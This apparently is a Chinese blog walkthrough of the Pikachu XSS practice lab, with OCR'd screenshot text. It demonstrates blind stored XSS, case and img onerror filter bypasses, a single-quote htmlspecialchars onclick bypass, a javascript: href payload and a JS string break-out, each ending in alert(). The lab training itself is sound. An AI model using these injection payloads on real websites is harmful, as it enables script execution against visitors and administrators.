pikachu 靶场之XSS(跨站脚本) -下篇

简介: pikachu 靶场之XSS(跨站脚本) -下篇

XSS 之盲打

场景:

image.png

XSS盲打

XSS

请在下面输入你对"锅盖头"这种发型的看法:

我们将会随机抽出一名送出麻港一日游

你的大名:

提交

一个留言板,只有后台才能看见前端存在的内容,从前端无法确定是否存在XSS漏洞,假设存在XSS漏洞,直接往里输入 XSS 代码,称为盲打。


不论3721!,直接往里面插入XSS代码,然后等待,可能会有惊喜!!

被动等待.....(当后台管理员登陆时就可能被攻击)


1 构造payload


<script>alert("attack!")</script>


image.png

xSS>XSS盲打

请在下面输入你对"锅盖头"这种发型的看法:

我们将会随机抽出一名送出麻港一日游

xSSscriptalert"attack!"

</script

你的大名:

XXX

提交

提交后,模拟管理员登录后台


2 模拟管理员登录后台

image.png

xss日打

你已经成功登录留言板后台,出费陆

用户反馈的意见列表:

编号

内客

操作

时间

姓名

xSS

2021-06-160357:48

127.0.0.1

ottack!

瑜定

存在XSS漏洞,并且也是存储型XSS


XSS 之过滤

1 随便输入内容,然后输入特殊字符('"<>)

image.png

127.0.0.1/pikachu/vul/xss/xss01.php?message

哈哈哈submit-submit

0

常用网址

京东商城

东习平台pika-pika-

xSS>xSS之过滤

阁下,请问你觉得人生苦短吗?

submit

别说这些哈哈哈"

约话,不要怕就是干!

image.png

"<>&bmit-submit

127.0.0.1/pikachu/vul/xss/xss01.php?messaje"

京东商城

常用网址

习平台pika-pika-

xSS>XSs之过滤

阁下,请问你觉得人生苦短吗?

submit

制说这些"的话,不要怕就是干!

2 输入 payload



<script>alert("attack!")</script>


image.png

127.0.01/pkachuvl/s从ss0.ppme

京东商城

常用网址

羽平台pika-pika-

xSS之过滤

XSS

阁下,请问你觉得人生苦短吗?

submit

别说这些>的话,不要怕就是干!

什么也没发生,应该是过滤掉一些内容


3 尝试绕过

改动大小写



<SCRIPT>alert("attack!")</SCRIPT>


image.png

127.0.0.1

attack!

确定

img 中 onerror事件



<img src="x" onerror="alert('error!')">


image.png

127.0.0.1

error!

确定

说明只是过滤了大小写,当然XSS绕过姿势不止一种,师傅们自行扩展


XSS 之htmlspecialchars

htmlspecialchars函数概览

调用该函数进行转换的字符如下

image.png

预定义的字符是:

口&(和号)

成为&amp

口(双引号)成为&quot

口(单引号)成为&#039

口<(小于)成为&lt

口>(大于)成为&gt

函数转换的类型

image.png

可用的引号类型:

ENT_COMPAT-默认.仅编码双引号.

ENTQUOTES-编码双引号和单引号

ENT_NOQUOTES-不编码任何引号.

如果使用该函数对用户的输入进行处理,而保持默认转换类型可能会出现 XSS漏洞

(仅编码双引号)

1 输入 '"<>111 查看源码

image.png

127.0.0.1/pikachu/vul/xss/xss02.phpmesqe"11uiubmit

常用网址

京东商城

习平台pika-pika-

xss>XSS之htMLSPECIALCHarS

人生之所有苦短,是因为你的xss学习的还不够好

submit

你的输入已经被记录:

出生111

image.png

<divclass-

page-content'?'

<divid-"xssrmain">

lass"xssr_title>人生之所有苦短,是因为你的xss学习的还不够好<)

<formmethod-get"

inputclas

tclass-"xssr_intype"text"name-"message>

name-"submit"value-"submit">

<inputclass-"xssr_submit"

it"type-"submit'

</form

class'notice>你的输入已经被记录

/div>

href-"'&quot:lt:gt:111x&quot:t:&gt:111/a>

Ka

<div><!--/.page-content-->

Qdiv

divx!--/main-content-->

从源代码可以看出,单引号未进行过滤,只是过滤了双引号


2 输入 payload


#' onclick='alert("aaa")


image.png

2

192166154.13/PkhuwuXsxmm

常用网址

京东商城

的平台pika-pika-

xsS>xSS之htmlspecialchars

人生之所有苦短,是因为你的xss学习的还不够好

submit

你的输入已经被记录:

#onclick-'alert"aaa")

image.png

192.168.154.135

aaa

确定



XSS 之href输出

javascript 伪协议

语法



javascript:someScript;someScript 是一个或多个使用 ; 分隔的 JavaScript 语句


实例


<a href="javascript:alert('JavaScript Link!');">JavaScript Link</a>


XSS href 输出

  • 输出在 a 标签的 href 属性中,可以使用 JavaScript 协议来执行js
  • 防御:只允许http,https,其次再进行 htmlspecialchars 处理

1 根据提示输入网址,查看源码

image.png

xSS>XSS之href输出

请输入一个你常用的网站url地址,我就知道你是什么人

submit

阁下自己输入的url还请自己点一下吧

image.png

div>

<divclass-"page-content

Kdivid-"xssr_main'>

请输入一个你常用的网站ur1地址,我就知道你是什么人/>

<pclass-"xssr-title">请轴

<form

nmethod-"get'>

"xssr-in"type-"text"name-"message">

<input

class-"x

<input

class-xssr_submtytype-"submityname-"submityvalue"submit

Kform>

阁下自己输入的url还请自己点一下吧/a>

Kdiv>

hrefhttps://ww.baidu.com

/divX!--/.page-content--

div>

</divX<!--/,main-content-->

2 点击链接跳转至百度

image.png

Baidu百度

百度一下

2 使用 js协议 构造payload



javascript:alert("aaa")



image.png

ass

page-content'

(divid-"xssrmain'>

pclass-xssr-title请输入一个你常用的网站.1地址,我就知道你是什么人

<formmethod-'get

inputclassxssr_intype-textname-"message"

inputcassxssrsubmitytypesubmtynamesubmtluesubmt

form

hef-javascript:alertBuot;acuot阁下自己输入的1还请自己点一下吧/a)

div>

K/div>!--/.page-content-->

div>

image.png

127.0.0.1

aaa

确定


XSS之 js输出

1 输入aaa,查看源码

image.png

905

906<script>

$ms-'aaa'

907

if(Sms.1engthl-o)

908

if($ms'tmac)f

909

$(#fromjs').text(tmac确实厉害,看那小眼神..)

910

e1se

911

912/

a1ert($ms):

$C#fromjs).text(无论如何不要放弃心中所爱..')

913

914

915

7

916

917

918

919

script

920

这里发现输入的内容被放入到了js中


2 构造payload



';alert("attack xss")</script>


image.png

127.0.0.1

jsxss

确定


XSS 防范:输入做过滤,输出做转义


结语:

本人菜弟弟一个,大佬勿喷,谢谢,如果觉得个人写的还凑活,三连(点赞+关注+转发)一哈吧💪谢谢各位师傅,祝各位师傅玩的开心😊

相关文章
|
6月前
|
存储 安全 JavaScript
渗透攻击实例-xss跨站脚本攻击
渗透攻击实例-xss跨站脚本攻击
|
13天前
|
安全 JavaScript Go
跨站脚本攻击(XSS)防护在Django中的应用
【4月更文挑战第15天】本文介绍了Django如何防范XSS攻击。Django模板引擎自动转义HTML以防止恶意脚本,提供`mark_safe`函数和CSRF防护。此外,建议开发者验证清理用户输入、使用内容安全策略、更新库以及遵循安全编码实践来增强防护。通过这些措施,开发者能构建更安全的Web应用。
|
2月前
|
存储 安全
第二轮学习笔记:XSS跨站脚本漏洞
第二轮学习笔记:XSS跨站脚本漏洞
24 0
|
2月前
|
存储 安全 JavaScript
HW常见攻击方式 --XSS跨站脚本攻击
HW常见攻击方式 --XSS跨站脚本攻击
31 0
|
4月前
|
安全 JavaScript 前端开发
Springboot抵御即跨站脚本(XSS)攻击
Springboot抵御即跨站脚本(XSS)攻击
|
1月前
|
JavaScript 安全 前端开发
js开发:请解释什么是XSS攻击和CSRF攻击,并说明如何防范这些攻击。
XSS和CSRF是两种常见的Web安全威胁。XSS攻击通过注入恶意脚本盗取用户信息或控制账户,防范措施包括输入验证、内容编码、HTTPOnly Cookie和CSP。CSRF攻击则诱使用户执行未经授权操作,防范手段有CSRF Tokens、双重验证、Referer检查和SameSite Cookie属性。开发者应采取这些防御措施并定期进行安全审计以增强应用安全性。
22 0
|
3月前
|
存储 JSON 前端开发
【面试题】XSS攻击是什么?
【面试题】XSS攻击是什么?
|
3月前
|
存储 开发框架 安全
如何处理预防XSS漏洞攻击问题
防止XSS攻击需要从多个方面入手,包括输入验证和过滤、输出编码、设置正确的HTTP头部、使用最新的安全框架和库、定期进行安全审计和漏洞扫描以及培训和意识提升等。只有综合运用这些措施,才能有效地防止XSS攻击,保护网站和用户的安全。
|
5天前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
|
1月前
|
安全 JavaScript 前端开发
Low 级别反射型 XSS 演示(附链接)
Low 级别反射型 XSS 演示(附链接)
19 0